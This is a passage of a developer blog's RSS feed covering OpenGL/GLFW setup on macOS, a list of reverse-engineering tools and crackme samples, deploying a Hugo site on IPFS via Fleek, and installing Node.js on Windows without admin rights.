&lt;/code>&lt;/pre>&lt;/div>&lt;p>Add &lt;strong>glad.c&lt;/strong> to your &lt;strong>XCode project&lt;/strong>, at this point we need to update the &lt;strong>Build Settings&lt;/strong> and &lt;strong>Build Phases&lt;/strong> of our &lt;strong>XCode project&lt;/strong> to both use the &lt;strong>dylib&lt;/strong> and where to find the &lt;strong>headers&lt;/strong>. In your &lt;strong>project navigator&lt;/strong>, click on the top icon which will open the &lt;strong>.xcodeproj&lt;/strong> to update (rememeber to select the Target which is our console application not the Project), click on &lt;strong>Build Settings&lt;/strong> and look for these two entries in the &lt;strong>Search Paths build setting&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Header Search Paths&lt;/strong>&lt;/li>
&lt;li>&lt;strong>Library Search Paths&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>Here we need to add the paths of our directories, you can set them to be &lt;strong>non-recursive&lt;/strong> but you have to put every single folder you want to be included in your project separetely. In this case, we can set it to be recursive since we&amp;rsquo;re insterested in all files in the OpenGL folder. You should have the following settings in your project after the changes:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/SearchPaths.png" alt="&amp;ldquo;Search Paths&amp;rdquo;">&lt;/p>
&lt;p>Now we need to go the &lt;strong>Build Phases tab&lt;/strong> and add &lt;strong>libglfw.3.3.dylib&lt;/strong> like so:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/BuildPhasesDynamicLibrary.png" alt="&amp;ldquo;Build Phases Dynamic Library&amp;rdquo;">&lt;/p>
&lt;p>Hit &lt;strong>SHIFT + CMD + B&lt;/strong> and run the project:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/OpenGLWindow.png" alt="&amp;ldquo;Search Paths&amp;rdquo;">&lt;/p>
&lt;h2 id="create-a-new-xcode-project-to-display-a-window-using-a-static-library">
Create a new XCode project to display a window using a static library
&lt;a class="heading-link" href="#create-a-new-xcode-project-to-display-a-window-using-a-static-library">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>For the static library it&amp;rsquo;s almost the same process, you need first to generate again the &lt;strong>XCode project&lt;/strong> using CMake to compile the source package, remember to unselect the &lt;strong>&amp;ldquo;BUILD_SHARED_LIBS&amp;rdquo;&lt;/strong> so it will compile the static library.&lt;/p>
&lt;p>After &lt;strong>libglfw3.a&lt;/strong> has been generated, put this file in your OpenGL directory inside the &lt;strong>lib folder&lt;/strong>. The XCode project is almost the same but this time instead of linking a dylib in the &lt;strong>Build Phases tab&lt;/strong>, we&amp;rsquo;re going to link the static library, the Cocoa, OpenGL and IOKit frameworks:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/BuildPhasesStaticLibrary.png" alt="&amp;ldquo;Linking Settings&amp;rdquo;">&lt;/p>
&lt;p>It&amp;rsquo;s also possible to do the same without linking manually the libraries in Build Phases, in fact we just need to set another property in the Build Settings to use some command line parameters. So simply set this entry in this way without linking any libraries in the Build Phases:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/createAWindowWithOpenGLOnMacOS/LinkingSettingsFlags.png" alt="&amp;ldquo;Linking Settings&amp;rdquo;">&lt;/p>
&lt;p>It&amp;rsquo;s practically the same as using the command line to compile the code with Clang by adding the required libraries and frameworks:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">clang++ -o main main.cpp -lglfw3 -framework Cocoa -framework OpenGL -framework IOKit
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="compile-the-code-with-clang-and-install-glfw-with-homebrew">
Compile the code with Clang and install GLFW with HomeBrew
&lt;a class="heading-link" href="#compile-the-code-with-clang-and-install-glfw-with-homebrew">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>We learned how to create link a dylib and static library in XCode, but there&amp;rsquo;s another way to run our code through the terminal and since we&amp;rsquo;re using &lt;a href="https://brew.sh">HomeBrew&lt;/a>, we just need to install the package to get everything we need:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">brew install glfw
&lt;/code>&lt;/pre>&lt;/div>&lt;p>And by doing so, we can skip the steps where we compiled the source package. I created a &lt;a href="https://github.com/MalwareWerewolf/OpenGLCreateWindow">repository&lt;/a> with the source code I used which is basically the same as the one used for XCode, the only small difference is that we&amp;rsquo;re using a &lt;strong>makefile&lt;/strong> to generate everything we need from the project since it would probably be complicate to run many long commands in the terminal so instead, we let &lt;strong>make&lt;/strong> doing the job for us. This is the &lt;strong>makefile&lt;/strong> I used:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-make" data-lang="make">C_FLAGS &lt;span style="color:#f92672">:=&lt;/span> -g -Wall -Wextra
CC &lt;span style="color:#f92672">:=&lt;/span> clang++
RM &lt;span style="color:#f92672">:=&lt;/span> rm
LINKFLAGS &lt;span style="color:#f92672">:=&lt;/span> -lglfw3 -framework OpenGL -framework IOKit -framework Cocoa
&lt;span style="color:#a6e22e">.PHONY&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#66d9ef">$(&lt;/span>TARGET&lt;span style="color:#66d9ef">)&lt;/span>
&lt;span style="color:#a6e22e">.PHONY&lt;/span>&lt;span style="color:#f92672">:&lt;/span> clean
VPATH&lt;span style="color:#f92672">:=&lt;/span> ./src/ ./obj/ ./include/
&lt;span style="color:#75715e"># Path for .c , .h and .o Files
&lt;/span>&lt;span style="color:#75715e">&lt;/span>SRC_PATH &lt;span style="color:#f92672">:=&lt;/span> ./src/
OBJ_PATH &lt;span style="color:#f92672">:=&lt;/span> ./obj/
INC_PATH &lt;span style="color:#f92672">:=&lt;/span> -I ./include
&lt;span style="color:#75715e"># Executable Name
&lt;/span>&lt;span style="color:#75715e">&lt;/span>TARGET &lt;span style="color:#f92672">:=&lt;/span> start
&lt;span style="color:#75715e"># Files to compile
&lt;/span>&lt;span style="color:#75715e">&lt;/span>OBJ1 &lt;span style="color:#f92672">:=&lt;/span> glad.o &lt;span style="color:#ae81ff">\
&lt;/span>&lt;span style="color:#ae81ff">&lt;/span> main.o
OBJ &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">$(&lt;/span>patsubst %,&lt;span style="color:#66d9ef">$(&lt;/span>OBJ_PATH&lt;span style="color:#66d9ef">)&lt;/span>%,&lt;span style="color:#66d9ef">$(&lt;/span>OBJ1&lt;span style="color:#66d9ef">))&lt;/span>
&lt;span style="color:#75715e"># Build .o first
&lt;/span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#a6e22e">$(OBJ_PATH)%.o&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#66d9ef">$(&lt;/span>SRC_PATH&lt;span style="color:#66d9ef">)&lt;/span>%.*
mkdir -p &lt;span style="color:#66d9ef">$(&lt;/span>@D&lt;span style="color:#66d9ef">)&lt;/span>
@echo &lt;span style="color:#f92672">[&lt;/span>CC&lt;span style="color:#f92672">]&lt;/span> $&amp;lt;
@&lt;span style="color:#66d9ef">$(&lt;/span>CC&lt;span style="color:#66d9ef">)&lt;/span> &lt;span style="color:#66d9ef">$(&lt;/span>C_FLAGS&lt;span style="color:#66d9ef">)&lt;/span> -o $@ -c $&amp;lt; &lt;span style="color:#66d9ef">$(&lt;/span>INC_PATH&lt;span style="color:#66d9ef">)&lt;/span>
&lt;span style="color:#75715e"># Build final Binary
&lt;/span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#a6e22e">$(TARGET)&lt;/span>&lt;span style="color:#f92672">:&lt;/span> &lt;span style="color:#66d9ef">$(&lt;/span>OBJ&lt;span style="color:#66d9ef">)&lt;/span>
@echo &lt;span style="color:#f92672">[&lt;/span>INFO&lt;span style="color:#f92672">]&lt;/span> Creating Binary Executable &lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>TARGET&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#f92672">]&lt;/span>
@&lt;span style="color:#66d9ef">$(&lt;/span>CC&lt;span style="color:#66d9ef">)&lt;/span> -o $@ $^ &lt;span style="color:#66d9ef">$(&lt;/span>LINKFLAGS&lt;span style="color:#66d9ef">)&lt;/span>
&lt;span style="color:#75715e"># Clean all the object files and the binary
&lt;/span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#a6e22e">clean&lt;/span>&lt;span style="color:#f92672">:&lt;/span>
@echo &lt;span style="color:#e6db74">&amp;#34;[Cleaning]&amp;#34;&lt;/span>
@&lt;span style="color:#66d9ef">$(&lt;/span>RM&lt;span style="color:#66d9ef">)&lt;/span> -rfv &lt;span style="color:#66d9ef">$(&lt;/span>OBJ_PATH&lt;span style="color:#66d9ef">)&lt;/span>*
@&lt;span style="color:#66d9ef">$(&lt;/span>RM&lt;span style="color:#66d9ef">)&lt;/span> -rfv &lt;span style="color:#66d9ef">$(&lt;/span>TARGET&lt;span style="color:#66d9ef">)&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Clone the &lt;a href="https://github.com/MalwareWerewolf/OpenGLCreateWindow">repository&lt;/a> and in the terminal, type &lt;code>make&lt;/code> in the root folder of the project. After that there should be a file named &lt;code>start&lt;/code>, just run it by typing &lt;code>./start&lt;/code>.&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Compiling the code with &lt;strong>Clang&lt;/strong> and &lt;strong>make&lt;/strong> was fairly simple unlike setting everything with XCode but now you should know how to compile the source code from a library, which can be useful for the reasons I explained before! &lt;a href="https://learnopengl.com">LearnOpenGL&lt;/a> is a great source to learn OpenGL even though for macOS only a few things are explained and the process to get everything working is a bit complicate, but if you have any issues with the code in the next chapters of &lt;a href="https://learnopengl.com">LearnOpenGL&lt;/a>, you can always check the &lt;a href="https://github.com/JoeyDeVries/LearnOpenGL">Github repo&lt;/a> which contains a small guide to compile the code in the terminal and create a XCode project!&lt;/p></description></item><item><title>Reverse Engineering tools used in my Youtube videos</title><link>https://malwarewerewolf.com/posts/reverse-engineering-tools-used-in-my-youtube-videos/</link><pubDate>Wed, 21 Dec 2022 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/reverse-engineering-tools-used-in-my-youtube-videos/</guid><description>&lt;p>Youtube doesn&amp;rsquo;t really like links to reverse engineering resources, especially if you put some downloadable content like an exe file (for obvious reasons). So to avoid pasting in each video description a list with the tools that I used, here&amp;rsquo;s the complete list with all the tools I&amp;rsquo;ve used:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/upx/upx/releases/tag/v3.96">UPX Packer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml">PEID&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/horsicq/DIE-engine/releases">Detect-It-Easy&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://x64dbg.com/#start">x64dbg&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.ollydbg.de/">Ollydbg&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://low-priority.appspot.com/ollydumpex/">OllyDumpEx plugin&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/NtQuery/Scylla/releases">Scylla&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ntcore.com/?page_id=388">CFF Explorer&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/0xnobody/vmpdump">VMPDump&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://vmpsoft.com/support/download/">VMProtect Demo&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/winsiderss/systeminformer">Process Hacker&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>And here&amp;rsquo;s the list of samples along the corresponding video:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=nfSOiD7eE94">CTF with x64dbg and IDA Pro&lt;/a> - &lt;a href="http://shell-storm.org/repo/CTF/Hacklu-2013/Reversing/RoboAuth-150/RoboAuth.exe">Sample&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=BiqcJI_ooKg">Manually unpacking UPX and Solving a crackme&lt;/a> - &lt;a href="http://b2b-download.mcafee.com/products/tools/foundstone/bintext303.zip">Bintext sample&lt;/a> - &lt;a href="https://www.reversing.be/easyfile/file.php?show=20050622213207221">Easyfile sample&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=2s9RoUEOJK4">Unpacking ASPack with x64dbg&lt;/a> - &lt;a href="http://b2b-download.mcafee.com/products/tools/foundstone/bintext303.zip">Bintext sample&lt;/a> - &lt;a href="https://www.reversing.be/easyfile/file.php?show=20050622213207221">Easyfile sample&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>For the samples regarding VMP and Themida, you can find them on the &lt;a href="https://malwarewerewolf.com/challenges/">Challenges&lt;/a> page in the &lt;strong>Unpackme section&lt;/strong>.&lt;/p></description></item><item><title>Deploy a decentralized Hugo static website with IPFS</title><link>https://malwarewerewolf.com/posts/deploy-a-decentralized-hugo-static-website-with-ipfs/</link><pubDate>Fri, 25 Nov 2022 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/deploy-a-decentralized-hugo-static-website-with-ipfs/</guid><description>&lt;p>I&amp;rsquo;ve always been curious about decentralized applications, especially the web counterpart. With so many centralized solutions to deploy your website, I wanted to see if there were any decentralized. One good alternative I found to other platforms is &lt;a href="https://fleek.co/">fleek.co&lt;/a>, you can use it to deploy your website with &lt;a href="https://ipfs.tech/">IPFS&lt;/a> or &lt;a href="https://dfinity.org/">DFINITY&amp;rsquo;s Internet Computer (&amp;lsquo;IC&amp;rsquo;)&lt;/a>. For this post I will only focus on IPFS to deploy the website with &lt;strong>Hugo&lt;/strong>. Before getting into more details, you should have a basic understanding of &lt;a href="https://medium.com/@marcosallendelopez/blockchain-in-a-nutshell-38e7a566eac1">Blockchain&lt;/a>.&lt;/p>
&lt;h2 id="intro-to-ipfs">
Intro to IPFS
&lt;a class="heading-link" href="#intro-to-ipfs">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>It is used for storage then you need some other application on a different blockchain like Ethereum, to manage how data is going to be stored and retrieved from IPFS. Every file you put on IPFS will have its own &lt;strong>hash&lt;/strong> and can be used to retrieve a block content within the desktop application, the &lt;strong>CLI&lt;/strong> or other implementations listed on the &lt;a href="https://ipfs.tech/#install">official website&lt;/a>. So for instance, let&amp;rsquo;s say you want to upload a txt file on IPFS, you simply drag and drop the file in the desktop application and a new hash will be linked to this file:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/deployADecentralizedHugoStaticWebsiteWithIPFS/txtFileUploadedOnIPFS.png" alt="&amp;ldquo;upload txt file to IPFS&amp;rdquo;">&lt;/p>
&lt;p>Having the hash allows you to access the file, you can use a browser like &lt;strong>Brave&lt;/strong> to do so, just right click on the file in IPFS desktop and select &amp;ldquo;&lt;strong>&lt;em>Share Link&lt;/em>&lt;/strong>&amp;rdquo; to get the full link of the block:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">https://ipfs.io/ipfs/QmUngsLqehjMuEVQ8e6SYkmA5SYd8xjb6dYDD56fuuXj2U?filename=test.txt
&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/deployADecentralizedHugoStaticWebsiteWithIPFS/fileContentEmpty.png" alt="&amp;ldquo;file content empty&amp;rdquo;">&lt;/p>
&lt;p>Or you can import the hash in IPFS and you will be able to access its content. Keep in mind though as soon as you shut down your &lt;strong>IPFS daemon&lt;/strong> the site will be become unreachable so to avoid that, you can use &lt;a href="https://docs.ipfs.tech/concepts/persistence/#persistence-versus-permanence">Pinning&lt;/a>! With a service like &lt;a href="https://www.pinata.cloud/">Pinata&lt;/a>, you can either provide an hash or upload directly a file and it will be hosted on IPFS. E.g.:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/deployADecentralizedHugoStaticWebsiteWithIPFS/pinata.png" alt="&amp;ldquo;pinata&amp;rdquo;">&lt;/p>
&lt;p>As you may noticed, it&amp;rsquo;s not a difficult process to follow but unfortunately each time you update some files, you have to repeat everything from the start which of course is not very convenient. To avoid being redundant, &lt;a href="https://fleek.co/">fleek.co&lt;/a> comes into play and it&amp;rsquo;s the service we are going to use to host our Hugo website.&lt;/p>
&lt;h2 id="deploying-a-hugo-website-on-fleek">
Deploying a Hugo website on Fleek
&lt;a class="heading-link" href="#deploying-a-hugo-website-on-fleek">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>As a reference you can use &lt;a href="https://github.com/MalwareWerewolf/malwarewerewolf-decentralized">my website&lt;/a> which is hosted on &lt;a href="https://fleek.co/">fleek.co&lt;/a>. Create an account on Fleek and connect it to your Github account:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/deployADecentralizedHugoStaticWebsiteWithIPFS/connectFleekToGithub.png" alt="&amp;ldquo;connect Fleek to Github&amp;rdquo;">&lt;/p>
&lt;p>Select as &lt;strong>Hosting Service&lt;/strong> IPFS, after that you need to set the build settings, the following interface is presented to you where you can choose the framework and set the docker image:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/deployADecentralizedHugoStaticWebsiteWithIPFS/defaultSettingsHugo.png" alt="&amp;ldquo;connect Fleek to Github&amp;rdquo;">&lt;/p>
&lt;p>I do not recommend using these settings for Hugo unless you don&amp;rsquo;t need the extended version. The default Docker image does not support the extended version so you will not be able to deploy your website. I tried other Docker images on the &lt;strong>Docker Hub&lt;/strong> and I&amp;rsquo;ve found an image which worked with my website, but the Hugo version used was the &lt;strong>0.87&lt;/strong> so not very recent and there was no way to use the most recent one. If you check the code of my repository, you&amp;rsquo;ll notice that in the root folder there&amp;rsquo;s a file named as &lt;strong>.fleek.json&lt;/strong>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-json" data-lang="json">{
&lt;span style="color:#f92672">&amp;#34;build&amp;#34;&lt;/span>: {
&lt;span style="color:#f92672">&amp;#34;image&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;drakobombo/hugo-extended-fleek:latest&amp;#34;&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;command&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;hugo --gc --minify &amp;amp;&amp;amp; echo $BUILD_STATUS_ENV&amp;#34;&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;publicDir&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;public&amp;#34;&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;baseDir&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>,
&lt;span style="color:#f92672">&amp;#34;environment&amp;#34;&lt;/span>: {
&lt;span style="color:#f92672">&amp;#34;BUILD_STATUS_ENV&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;Build finished!&amp;#34;&lt;/span>
}
}
}
&lt;/code>&lt;/pre>&lt;/div>&lt;p>With this json, you don&amp;rsquo;t need to set any deployment settings on fleek dashboard because they will be overwritten by the configuration being used in the json. I mentioned that I didn&amp;rsquo;t find any working docker images but only one without the most recent version, so I created &lt;a href="https://hub.docker.com/r/drakobombo/hugo-extended-fleek">my Docker image&lt;/a> and I deployed it to the &lt;strong>Docker Hub&lt;/strong>. The code that I used for my image is pretty straight forward, I just had to change the entry point because with the default one used by Docker, the deployment on Fleek was still not working:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-docker" data-lang="docker">&lt;span style="color:#66d9ef">FROM&lt;/span>&lt;span style="color:#e6db74"> klakegg/hugo:latest-ext&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">WORKDIR&lt;/span>&lt;span style="color:#e6db74"> /site&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">ENTRYPOINT&lt;/span> [&lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>] &lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">CMD&lt;/span> [&lt;span style="color:#e6db74">&amp;#34;hugo&amp;#34;&lt;/span>]&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Another thing that I&amp;rsquo;d like to mention, you can&amp;rsquo;t build &lt;strong>arm&lt;/strong> based images on Fleek. So if you&amp;rsquo;re compiling the image on &lt;strong>apple silicon&lt;/strong> it will not work, because we need to target an x32/x64 build like so:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ docker buildx build --platform linux/amd64 -t &lt;span style="color:#e6db74">&amp;#34;hugo-extended-fleek&amp;#34;&lt;/span> .
&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s it, you can deploy your Hugo website using my configuration!&lt;/p>
&lt;h2 id="a-few-notes-about-the-domain">
A few notes about the domain
&lt;a class="heading-link" href="#a-few-notes-about-the-domain">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>I managed to connect my current domain on Fleek, but there were some issues during the domain verification. For any issues you can contact the Fleek support by opening a ticket on &lt;a href="https://discord.gg/fleekxyz">Discord&lt;/a>.&lt;/p>
&lt;p>I also had to change my DNS provider to &lt;strong>Cloudflare&lt;/strong> because the new Fleek setup requires you to use &lt;strong>ANAME/ALIAS&lt;/strong> which are not supported with some providers. I will not explain the whole process that I did, you can follow &lt;a href="https://docs.fleek.co/domain-management/custom-dns-domains/">the documentation&lt;/a> especially if you want to use &lt;strong>Cloudflare&lt;/strong> as your DNS provider. Just one very important thing that I want to point out, if you decide to use the latter, remember to follow these two essential steps listed in the documentation:&lt;/p>
&lt;blockquote>
&lt;p>If you are using Cloudflare, as in pointing your domains to their name servers to use Cloudflare&amp;rsquo;s DNS service, you can still upgrade your DNS records to the new DDOS protected infrastructure.&lt;/p>
&lt;p>Follow the instructions above, with these two slight differences:&lt;/p>
&lt;ol>
&lt;li>In Cloudflare, ANAME records need to be set as CNAME records.&lt;/li>
&lt;li>You need to turn Orange Cloud OFF (disabling HTTP proxy mode) in Cloudflare for your DNS domains.&lt;/li>
&lt;/ol>
&lt;p>If you don´t turn off the Orange Cloud/Proxy for your domain when setting your DNS records on Cloudflare, your custom domain will fail its DNS verification on Fleek.
To do so, visit the DNS App in Cloudflare, and edit your DNS records, there you can Click the orange cloud on each record to turn it OFF (Grey).&lt;/p>
&lt;/blockquote>
&lt;h3 id="ens">
ENS
&lt;a class="heading-link" href="#ens">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h3>
&lt;p>As an alternative if you don&amp;rsquo;t want to buy a domain from the major platforms like Google or GoDaddy, I present you &lt;a href="https://ens.domains/">ENS&lt;/a>, decentralized domains based on the &lt;strong>Ethereum Blockchain&lt;/strong>! Exciting as it might sound, it&amp;rsquo;s important to note that not all browsers are currently supporting ENS domains. So at the moment, the browsers listed below are supporting a decentralized domain:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/deployADecentralizedHugoStaticWebsiteWithIPFS/ensDomains.png" alt="&amp;ldquo;ens domains&amp;rdquo;">&lt;/p>
&lt;p>&lt;em>Credits for the image to &lt;a href="https://ens.domains/">ENS&lt;/a>&lt;/em>&lt;/p>
&lt;p>It&amp;rsquo;s not just a domain, from the &lt;a href="https://ens.domains/">ENS&lt;/a> website, it&amp;rsquo;s your &lt;strong>web3&lt;/strong> username which can be used to store all of your addresses and receive any cryptocurrency, token, or NFT.&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Deploying a decentralized website is quite different unlike the usual way, nonetheless services like &lt;a href="https://fleek.co/">fleek.co&lt;/a> lets you focus entirely on the development of your website without caring too much about repeating the same steps each time you change some files as we saw earlier. If you&amp;rsquo;re interested to know more about IPFS, you can take a look at the &lt;a href="https://docs.ipfs.tech/concepts/">concepts section&lt;/a> on the documentation which explains in greater details how IPFS is working.&lt;/p></description></item><item><title>Install Node js on Windows without admin rights</title><link>https://malwarewerewolf.com/posts/install-node-js-on-windows-without-admin-rights/</link><pubDate>Fri, 18 Nov 2022 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/install-node-js-on-windows-without-admin-rights/</guid><description>&lt;p>If you have your own laptop with &lt;strong>admin rights&lt;/strong>, you don&amp;rsquo;t need to read this article further. On the contrary if you are working in an &lt;strong>IT company&lt;/strong> where you can&amp;rsquo;t run any application with an admin account, it may save your time having &lt;strong>Node js&lt;/strong> installed in a separate folder so you can freely change or update its content.&lt;/p>
&lt;p>I had an old version of Node js installed on my laptop and I needed to update it in order to use the &lt;strong>Angular CLI&lt;/strong>, which is requiring a minimum version of Node js to work.&lt;/p>
&lt;h2 id="setting-the-environment-variables-in-windows-for-node-js">
Setting the environment variables in Windows for Node js
&lt;a class="heading-link" href="#setting-the-environment-variables-in-windows-for-node-js">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>&lt;a href="https://nodejs.org/en/download/">Download the Windows Binary&lt;/a> and unzip its content in the &lt;code>C:\&lt;/code> drive or another folder that is easily accessible to you. The &lt;strong>environment variables editor&lt;/strong> can also be launched with the following command from the &lt;strong>Windows command-line prompt (CMD)&lt;/strong>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">C:&lt;span style="color:#ae81ff">\&amp;gt;&lt;/span> rundll32 sysdm.cpl,EditEnvironmentVariables
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now we need need to add a new variable to the &lt;strong>Path&lt;/strong> variable inside the &lt;strong>User variables&lt;/strong>. Just put the path where you unzipped the content of the &lt;strong>Windows Binary&lt;/strong>.&lt;/p>
&lt;h2 id="setting-another-environment-variable-for-ng">
Setting another environment variable for ng
&lt;a class="heading-link" href="#setting-another-environment-variable-for-ng">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This step is not necessary, but as soon as you install a global package and you want to run it from the command line, you might get an error such as:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">&amp;#39;ng&amp;#39; is not recognized as an internal or external command, operable program or batch file
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Assuming you don&amp;rsquo;t have admin rights, there&amp;rsquo;s a folder in &lt;strong>Appdata&lt;/strong> which is holding the node modules being installed, simply put the following path in the system variables to solve the issue (put your username in the path):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">C:\Users\your username here\AppData\Roaming\npm
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Just reopen again the CMD and you can again use both global packages and Node js from the command line without admin rights.&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
